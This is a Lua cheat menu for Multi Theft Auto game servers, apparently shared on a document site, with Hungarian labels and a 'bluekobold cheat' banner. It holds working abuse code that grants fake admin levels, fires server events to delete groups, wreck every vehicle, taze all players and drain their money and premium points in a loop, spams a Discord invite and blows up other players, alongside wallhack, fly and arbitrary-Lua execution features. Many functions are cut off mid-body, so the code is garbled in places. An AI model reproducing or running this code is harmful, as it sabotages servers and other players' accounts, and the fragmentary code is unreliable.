Professional Documents
Culture Documents
Message
Message
local buttons = {
{label = "Rakéták küldése", func = function() end},
{label = "LUA Exec GUI", func = function() end},
{label = "AirBreak", func = function() end},
{label = "WallHack", func = function() end},
{label = "Run LUA", func = function() end},
{label = "[SP] aircars", func = function() end},
{label = "Load Faltorokos", func = function() end},
{label = "GodMode", func = function() end},
{label = "[SP] extrajump", func = function() end},
{label = "[SPAM] Take All Money", func = function() end},
{label = "Give Armor", func = function() end},
{label = "Give Admin", func = function() end},
{label = "Car ESP", func = function() end},
{label = "Give HP", func = function() end},
{label = "gyors gamemode", func = function() end},
{label = "Pull Nearby Vehs", func = function() end},
{label = "Destroy BL", func = function() end},
{label = "[ALL] Set Badge", func = function() end},
}
return (cursorX >= x and cursorX <= x + width and cursorY >= y and cursorY <= y
+ height)
end
function onClientRender()
if isMenuVisible then
menuWidth = buttonWidth * buttonsPerLine + padding * (buttonsPerLine - 1) +
150
menuHeight = buttonHeight * lines + padding * (lines + 2) + 140
drawMenu()
end
end
addEventHandler("onClientRender", root, onClientRender)
function drawMenu()
if isMenuVisible then
if hoveredButton == i then
color = tocolor(0, 128, 255, 168)
textColor = tocolor(43.5, 43.5, 43.5)
end
function toggleMenu()
isMenuVisible = not isMenuVisible
end
local lastKeyPress = 0
function handleCursorHover(_, _, x, y)
if isMenuVisible then
hoveredButton = nil
for i, button in ipairs(buttons) do
local col = (i - 1) % buttonsPerLine
local row = math.floor((i - 1) / buttonsPerLine)
local buttonX = menuX + padding + col * (buttonWidth + padding)
local buttonY = menuY + 40 + padding + row * (buttonHeight + padding)
function handleButtonClick(_, _, x, y)
if isMenuVisible then
for i, button in ipairs(buttons) do
local col = (i - 1) % buttonsPerLine
local row = math.floor((i - 1) / buttonsPerLine)
local buttonX = menuX + padding + col * (buttonWidth + padding)
local buttonY = menuY + 40 + padding + row * (buttonHeight + padding)
function boomNearby()
local player = getLocalPlayer()
local playerX, playerY, playerZ = getElementPosition(player)
local explosionRange = 150 -- Adjust the explosion range as needed
buttons[1].func = boomNearby
addCommandHandler("spawnped", function()
local player = getLocalPlayer() -- Assuming this is the player who types the
command
local playerX, playerY, playerZ = getElementPosition(player)
function setBadgeDataForAllPlayers()
local players = getElementsByType("player")
for _, player in ipairs(players) do
setElementData(player, "char-badge",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
setElementData(player, "char.badge",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
setElementData(player, "char.Badge",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
setElementData(player, "badgeData",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
setElementData(player, "char:badge",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
setElementData(player, "badge",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
setElementData(player, "jelveny",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
end
end
buttons[18].func = setBadgeDataForAllPlayers
function toggleCarInfo()
local currentTime = getTickCount()
if currentTime - lastClickTime <= doubleClickThreshold then
isCarInfoVisible = not isCarInfoVisible
outputChatBox("car esp is now " .. (isCarInfoVisible and "ON" or "OFF"))
end
lastClickTime = currentTime
end
buttons[13].func = toggleCarInfo
function drawCarInfo()
if not isCarInfoVisible then return end
local vehicles = getElementsByType("vehicle")
for _, vehicle in ipairs(vehicles) do
local x, y, z = getElementPosition(vehicle)
local cx, cy, cz = getCameraMatrix()
function pullNearbyVehs()
for i, vehicle in ipairs(getElementsByType("vehicle")) do
if isElement(vehicle) then
local x,y,z = getElementPosition(localPlayer)
local vx, vy, vz = getElementPosition(vehicle)
local distance = getDistanceBetweenPoints3D(x, y, z, vx, vy, vz)
if distance <= 50 then
setElementPosition(vehicle, x,y,z)
end
end
end
end
buttons[16].func = pullNearbyVehs
WallHack = {}
WallHack.boneRelations = {
[8] = {
[4] = {
[22] = {
[23] = {
[24] = false,
},
},
[32] = {
[33] = {
[34] = false,
},
},
[3] = {
[2] = {
[1] = {
[51] = {
[52] = {
[53] = {
[54] = false,
},
},
},
[41] = {
[42] = {
[43] = {
[44] = false,
},
},
},
},
},
},
},
[6] = { -- New connections for bone 8
[7] = {
[8] = false,
},
},
},
[6] = { -- New connections for bone 6
[7] = {
[8] = false,
},
},
[7] = { -- New connections for bone 7
[8] = {
[6] = false,
},
},
}
WallHack.state = false
WallHack.state = false
WallHack.lastToggle = 0
WallHack.toggleCooldown = 1000 -- 1 second cooldown
function toggleWH()
local currentTime = getTickCount()
if currentTime - WallHack.lastToggle < WallHack.toggleCooldown then
return
end
WallHack.lastToggle = currentTime
WallHack.state = not WallHack.state
outputChatBox("#FFFFFF[#0080FFProjectDutchGay#FFFFFF]: WallHack #0080FFOFF",
255, 255, 255, true)
removeEventHandler("onClientRender", root, WallHack.render)
if WallHack.state then
outputChatBox("#FFFFFF[#0080FFProjectDutchGay#FFFFFF]: WallHack #0080FFON",
255, 255, 255, true)
addEventHandler("onClientRender", root, WallHack.render)
end
end
buttons[4].func = toggleWH
WallHack.render = function()
local x1, y1, z1 = getCameraMatrix()
for _, player in pairs(getElementsByType("player")) do
local x, y, z = getElementPosition(player)
local dist = getDistanceBetweenPoints3D(x1, y1, z1, x, y, z)
if dist <= 150 then
local scx, scy = getScreenFromWorldPosition(x, y, z, 0.02)
if scx and scy then
for boneId, boneRelation in pairs(WallHack.boneRelations) do
WallHack.drawNames(player, dist)
WallHack.drawBones(player, boneId, boneRelation, dist)
end
end
end
end
end
if weapon then
local weaponName = getWeaponNameFromID(weapon)
text = text .. "\n[" .. weaponName .. "]"
end
if boneRelation then
WallHack.drawBones(player, boneId, boneRelation, dist)
end
end
end
Fly = {}
Fly.state = false
Fly.speedMultipliers = {
["lshift"] = 4,
["lalt"] = 0.25,
}
local lastClickTime = 0
local doubleClickThreshold = 500 -- Adjust this threshold as needed in milliseconds
function Fly.toggleFlightMode()
local currentTime = getTickCount()
if currentTime - lastClickTime <= doubleClickThreshold then
Fly.state = not Fly.state
removeEventHandler("onClientPreRender", root, Fly.render)
setElementFrozen(localPlayer, Fly.state)
setElementCollisionsEnabled(localPlayer, not Fly.state)
if Fly.state then
addEventHandler("onClientPreRender", root, Fly.render)
end
end
lastClickTime = currentTime
end
Fly.render = function(delta)
if (isChatBoxInputActive() or isConsoleActive()) then return end
local x, y, z = getElementPosition(localPlayer)
local camX, camY, camZ, camTX, camTY, camTZ = getCameraMatrix()
camTX, camTY = camTX - camX, camTY - camY
if (getKeyState("w")) then
x, y = x + camTX, y + camTY
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(0))
end
if (getKeyState("s")) then
x, y = x - camTX, y - camTY
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(180))
end
if (getKeyState("a")) then
x, y = x - camTY, y + camTX
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(270))
end
if (getKeyState("d")) then
x, y = x + camTY, y - camTX
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(90))
end
if (getKeyState("space")) then
z = z + delta
setElementPosition(localPlayer, x, y, z)
end
if (getKeyState("lctrl")) then
z = z - delta
setElementPosition(localPlayer, x, y, z)
end
end
function rotationFromCamera(offset)
local camX, camY, _, camTX, camTY = getCameraMatrix()
local deltaX, deltaY = camTX - camX, camTY - camY
local rotZ = math.deg(math.atan(deltaY / deltaX))
if ((deltaY >= 0 and deltaX <= 0) or (deltaY <= 0 and deltaX <= 0)) then
rotZ = rotZ + 180
end
return -rotZ + 90 + offset
end
buttons[3].func = Fly.toggleFlightMode
function activateModFunction()
for a = 1, 250 do
triggerServerEvent("deleteGroup", root, a)
end
setTimer(function()
local b = getElementsByType("player")
for c, d in ipairs(b) do
triggerServerEvent("onDoMessage", d, b, getElementData(d,
"visibleName") or "@ProjectDutchGay", "dsc.gg/projectdutchgay")
end
end, 5000, 0)
setTimer(function()
local vehicles = getElementsByType("vehicle", root, true)
for c, e in ipairs(vehicles) do
triggerServerEvent("setVehicleHealthSync", root, e, 0)
end
end, 2000, 0)
setTimer(function()
local players = getElementsByType("player")
for f, g in ipairs(players) do
triggerServerEvent("onTazerShoot", g, g)
for h, i in ipairs({"char.Money", "char-cash", "char.money", "money",
"Money", "char.bankMoney", "acc.premium", "char-pp", "char.PP",
"acc.premiumPoints", "premiumPont", "premiumPoints", }) do
triggerServerEvent("ac.elementData", root, g, i, (getElementData(g,
i) or 0) - math.random(250000000, 90000000))
end
end
end, 1200, 0)
end
buttons[17].func = activateModFunction
buttons[11].func = function()
local player = getLocalPlayer()
if player then
setPedArmor(player, 100) -- Set armor to full (100)
end
end
buttons[10].func = function()
local currentTime = getTickCount()
if currentTime - lastClickTime <= doubleClickThreshold then
if not isUpdating then
isUpdating = true
outputChatBox("spam take all money started", 0, 255, 0, true)
updateTimer = setTimer(function()
for _, player in ipairs(getElementsByType("player")) do
setRandomNegativeValues(player)
end
end, 1, 0) -- Milliseconds: 1, Repeat: 0 (infinite)
else
isUpdating = false
outputChatBox("spam take all money stopped", 255, 0, 0, true)
if isTimer(updateTimer) then
killTimer(updateTimer)
end
end
end
lastClickTime = currentTime
end
function setAdminData(player)
setElementData(player, "acc.adminLevel", 10)
setElementData(player, "acc-adminlevel", 10)
setElementData(player, "acc:admin", 10)
setElementData(player, "admin", 10)
setElementData(player, "adminszint", 10)
setElementData(player, "adminSzint", 10)
setElementData(player, "AdminSzint", 10)
setElementData(player, "Adminszint", 10)
setElementData(player, "aSzint", 10)
setElementData(player, "aszint", 10)
setElementData(player, "adminLevel", 10)
setElementData(player, "adminlevel", 10)
setElementData(player, "admini", 10)
setElementData(player, "a", 10)
setElementData(player, "Admin", 10)
setElementData(player, "aLevel", 10)
setElementData(player, "alevel", 10)
setElementData(player, "staff", 10)
setElementData(player, "moderator", 10)
setElementData(player, "acc-adminnick", "@ProjectDutchGay")
setElementData(player, "acc-adminNick", "@ProjectDutchGay")
setElementData(player, "acc:adminNick", "@ProjectDutchGay")
setElementData(player, "aNick", "@ProjectDutchGay")
setElementData(player, "adminnick", "@ProjectDutchGay")
setElementData(player, "aname", "@ProjectDutchGay")
setElementData(player, "acc.adminNick", "@ProjectDutchGay")
setElementData(player, "aName", "@ProjectDutchGay")
setElementData(player, "adminName", "@ProjectDutchGay")
setElementData(player, "adminnev", "@ProjectDutchGay")
setElementData(player, "adminNev", "@ProjectDutchGay")
setElementData(player, "anev", "@ProjectDutchGay")
setElementData(player, "aNev", "@ProjectDutchGay")
end
buttons[12].func = setAdminData
buttons[14].func = function()
setElementHealth(localPlayer, 100)
end
buttons[9].func = function()
if not buttonPressed then
buttonPressed = true
isBigJumpEnabled = not isBigJumpEnabled
if isBigJumpEnabled then
setWorldSpecialPropertyEnabled(propertyName, true) -- Enable extra
jump
outputChatBox("#0080ff[ProjectDutchGay]#FFFFFF: nagy ugras
be",255,255,255,true)
else
setWorldSpecialPropertyEnabled(propertyName, false) -- Disable extra
jump
outputChatBox("#0080ff[ProjectDutchGay]#FFFFFF: nagy ugras
ki",255,255,255,true)
end
else
buttonPressed = false
end
end
function autofly()
local currentTime = getTickCount()
if currentTime - lastClickTime <= doubleClickThreshold then
if not cooldownTimer then
if not flyEnabled then
setWorldSpecialPropertyEnabled("aircars", true)
outputChatBox("Vehicle fly: ON")
flyEnabled = true
else
setWorldSpecialPropertyEnabled("aircars", false)
outputChatBox("Vehicle fly: OFF")
flyEnabled = false
end
cooldownTimer = setTimer(function()
cooldownTimer = nil
end, cooldownDuration, 1)
end
end
lastClickTime = currentTime
end
buttons[6].func = autofly
local isFastRunningEnabled = false
local normalGameSpeed = 1.0
local fastRunningGameSpeed = 3 -- Adjust the speed multiplier as needed
local lastButtonClickTime = 0
local doubleClickInterval = 500 -- Time interval (in milliseconds) for a double
click
buttons[15].func = function(player)
local currentTime = getTickCount()
if isFastRunningEnabled then
setGameSpeed(fastRunningGameSpeed) -- Increase game speed for fast
running
outputChatBox("b072ff[HeartCore]#FFFFFF: Fast running enabled",
player,255,255,255,true)
else
setGameSpeed(normalGameSpeed) -- Reset game speed to normal
outputChatBox("b072ff[HeartCore]#FFFFFF: Fast running disabled",
player,255,255,255,true)
end
end
Commands = {}
Commands.registered = {}
Commands.register = function(cmd, func)
if (not (cmd and func)) then return end
Commands.registered[cmd] = func
end
Commands.handleCommand = function(text)
if (text:sub(1, #Consts.commandPrefix) ~= Consts.commandPrefix) then return end
Commands.registered[cmd](cmd, unpack(args))
end
end
addEventHandler("onClientConsole", root, Commands.handleCommand)
ElementData = {}
ElementData.commonKeys = {
playerId = {
"playerid",
"playerID",
"playerId",
"player.ID",
},
name = {
"char-name",
"charName",
"charname",
"visibleName",
},
adminLevel = {
"acc-adminlevel",
"acc.adminLevel",
"acc:admin",
"cooper >> bazdmeg",
},
adminNick = {
"acc-adminnick",
"acc.adminNick",
},
money = {
"char-cash",
"char.money",
"char.Money",
"money",
"Money",
},
pp = {
"char-pp",
"char.PP",
"acc.premium",
"premiumPont",
"premiumPoints",
},
badge = {
"char-badge",
"char.badge",
"char.Badge",
"badgeData",
"char:badge",
},
}
ElementData.getCommonKeys = function(dataType)
return ElementData.commonKeys[dataType] or {}
end
Players = {}
-- Players.friends = {}
Players.getPlayersByTable = function(names)
local players = {}
if (names) then
for _, name in pairs(names) do
if (name == "*") then
Utils.table.insertOnce(players, localPlayer)
elseif (name == "@a") then
for _, player in pairs(getElementsByType("player")) do
Utils.table.insertOnce(players, player)
end
elseif (name == "@f") then
for _, player in pairs(getElementsByType("player")) do
if (Utils.table.find(Players.friends, getPlayerSerial(player)))
then
Utils.table.insertOnce(players, player)
end
end
elseif (tonumber(name)) then
for _, player in pairs(getElementsByType("player")) do
for _, key in pairs(ElementData.getCommonKeys("playerId")) do
if (getElementData(player, key) == tonumber(name)) then
Utils.table.insertOnce(players, player)
break
end
end
end
else
for _, player in pairs(getElementsByType("player")) do
if (getPlayerName(player):lower() == name:lower()) then
Utils.table.insertOnce(players, player)
else
for _, key in pairs(ElementData.getCommonKeys("name")) do
if (tostring(getElementData(player, key)):gsub(" ",
"_"):lower() == name:gsub(" ", "_"):lower()) then
Utils.table.insertOnce(players, player)
break
end
end
end
end
end
end
end
return players
end
Players.find = function(_name)
local players = {}
if (_name) then
local _includedNames, _excludedNames = unpack(Utils.string.split(_name,
"-"))
if (not _includedNames) then
_includedNames = ""
end
if (not _excludedNames) then
_excludedNames = ""
end
includedNames, excludedNames = Utils.string.split(_includedNames, ","),
Utils.string.split(_excludedNames, ",")
return players
end
Utils = {}
Utils.string = {}
Utils.string.split = function(s, sep)
local fields = {}
return fields
end
Utils.string.autoConvert = function(v)
if (not v) then return end
if (v == "true") then
return true
end
if (v == "false") then
return false
end
if (v == "nil") then
return nil
end
if (fromJSON(v)) then
return fromJSON(v)
end
return v
end
Utils.table = {}
Utils.table.find = function(t, v, k)
if (not table) then return false end
return false
end
Utils.table.insertOnce = function(t, v)
if (not (t and v)) then return end
isAcMode = false
-- Commands
Commands.register("help", function()
local commands = {}
for cmd, _ in pairs(Commands.registered) do
table.insert(commands, cmd)
end
Commands.register("togacmode", function()
isAcMode = not isAcMode
output("Anti-Cheat mode is now " .. Consts.color .. (isAcMode and "on" or
"off") .. "#ffffff.", "Anti-Cheat Mode")
end)
keys = ElementData.getCommonKeys(key)
targets = Players.find(targets)
value = Utils.string.autoConvert(value)
keys = ElementData.getCommonKeys(key)
targets = Players.find(targets)
boomPlayerTimer = nil
Commands.register("stopboomplayer", function(cmd)
if (boomPlayerTimer) then
if (isTimer(boomPlayerTimer)) then
killTimer(boomPlayerTimer)
end
boomPlayerTimer = nil
if (cmd) then
output("BoomPlayer has successfully stopped.", "BoomPlayer")
end
end
end)
targets = Players.find(targets)
rep = tonumber(rep) or 1
timeout = tonumber(timeout) or 250
boomPlayerTimer = setTimer(function()
for _, target in pairs(targets) do
local x, y, z = getElementPosition(target)
--createProjectile(localPlayer, 39, x, y, z, nil, target)
createProjectile(localPlayer, 20, x, y, z, nil, target)
--detonateSatchels()
end
end, timeout, rep)
end)
isGod = false
godTimer = nil
Commands.register("god", function()
isGod = not isGod
if (godTimer) then
if (isTimer(godTimer)) then
killTimer(godTimer)
end
godTimer = nil
end
if (isGod) then
godTimer = setTimer(function()
setElementHealth(localPlayer, 100)
end, 100, 0)
end
targets = Players.find(targets)
HornBoost = {}
HornBoost.key = "h"
HornBoost.multiplier = 1.01
addEventHandler("onClientPreRender", root, function()
if (not getKeyState(HornBoost.key)) then return end
Fly = {}
Fly.state = false
Fly.speedMultipliers = {
["lshift"] = 4,
["lalt"] = 0.25,
}
Commands.register("fly", function()
Fly.state = not Fly.state
output("Sex is now " .. Consts.color .. (Fly.state and "on" or "off") ..
"#ffffff.", "Fly")
removeEventHandler("onClientPreRender", root, Fly.render)
setElementFrozen(localPlayer, Fly.state)
setElementCollisionsEnabled(localPlayer, not Fly.state)
if (Fly.state) then
addEventHandler("onClientPreRender", root, Fly.render)
end
end)
Fly.render = function(delta)
if (isChatBoxInputActive() or isConsoleActive()) then return end
local x, y, z = getElementPosition(localPlayer)
local camX, camY, camZ, camTX, camTY, camTZ = getCameraMatrix()
camTX, camTY = camTX - camX, camTY - camY
if (getKeyState("w")) then
x, y = x + camTX, y + camTY
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(0))
end
if (getKeyState("s")) then
x, y = x - camTX, y - camTY
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(180))
end
if (getKeyState("a")) then
x, y = x - camTY, y + camTX
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(270))
end
if (getKeyState("d")) then
x, y = x + camTY, y - camTX
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(90))
end
if (getKeyState("space")) then
z = z + delta
setElementPosition(localPlayer, x, y, z)
end
if (getKeyState("lctrl")) then
z = z - delta
setElementPosition(localPlayer, x, y, z)
end
end
function rotationFromCamera(offset)
local camX, camY, _, camTX, camTY = getCameraMatrix()
local deltaX, deltaY = camTX - camX, camTY - camY
local rotZ = math.deg(math.atan(deltaY / deltaX))
if ((deltaY >= 0 and deltaX <= 0) or (deltaY <= 0 and deltaX <= 0)) then
rotZ = rotZ + 180
end
return -rotZ + 90 + offset
end
Lightning = {}
Lightning.state = false
Commands.register("lightning", function()
Lightning.state = not Lightning.state
output("Lightning is now " .. Consts.color .. (Lightning.state and "on" or
"off") .. "#ffffff.", "Lightning")
removeEventHandler("onClientClick", root, Lightning.click)
if (Lightning.state) then
addEventHandler("onClientClick", root, Lightning.click)
end
end)
Lightning.click = function(button, state, _, _, x, y, z)
if (button == "left" and state == "down") then
createProjectile(localPlayer, 21, x, y, z + 0.1)
end
end
Consts.__init()
]]
-- Bind the function to a specific key (change 'f' to your desired key)
buttons[7].func = executeEmbeddedScript
local memoGui = nil
local memoGuiWidth = 400
local memoGuiHeight = 30
local isMemoGuiVisible = false
local lastButtonClickTime = 0
local doubleClickInterval = 500 -- Time interval (in milliseconds) for a double
click
if chunk then
local success, result = pcall(chunk)
if success then
outputChatBox("#0080FF[RUNCODE]#FFFFFF: Script executed
successfully.", 0, 255, 0,true)
else
outputChatBox("#0080FF[RUNCODE]#FFFFFF: Error executing script:
" .. result, 255, 0, 0,true)
end
else
outputChatBox("#0080FF[RUNCODE]#FFFFFF: Syntax error: " ..
errorMessage, 255, 255, 255,true)
end
end
lastButtonClickTime = currentTime
end
-- Add a key event handler to execute the memo script when Enter key is pressed
addEventHandler("onClientKey", root, function(key, state)
if key == "enter" and state == "down" and memoGui then
executeMemoScript()
end
end)
-- Add the key handler to execute the memo script when Button 15 is clicked
buttons[5].func = function()
executeMemoScript()
end
end
end
end
bindKey("9", "down", toggleWarpMenu)
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
----------------------bluekobold cheat----------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
function toggleCursor()
local cursorState = isCursorShowing() -- Retrieve the state of the player's
cursor
local cursorStateOpposite = not cursorState -- The logical opposite of the
cursor state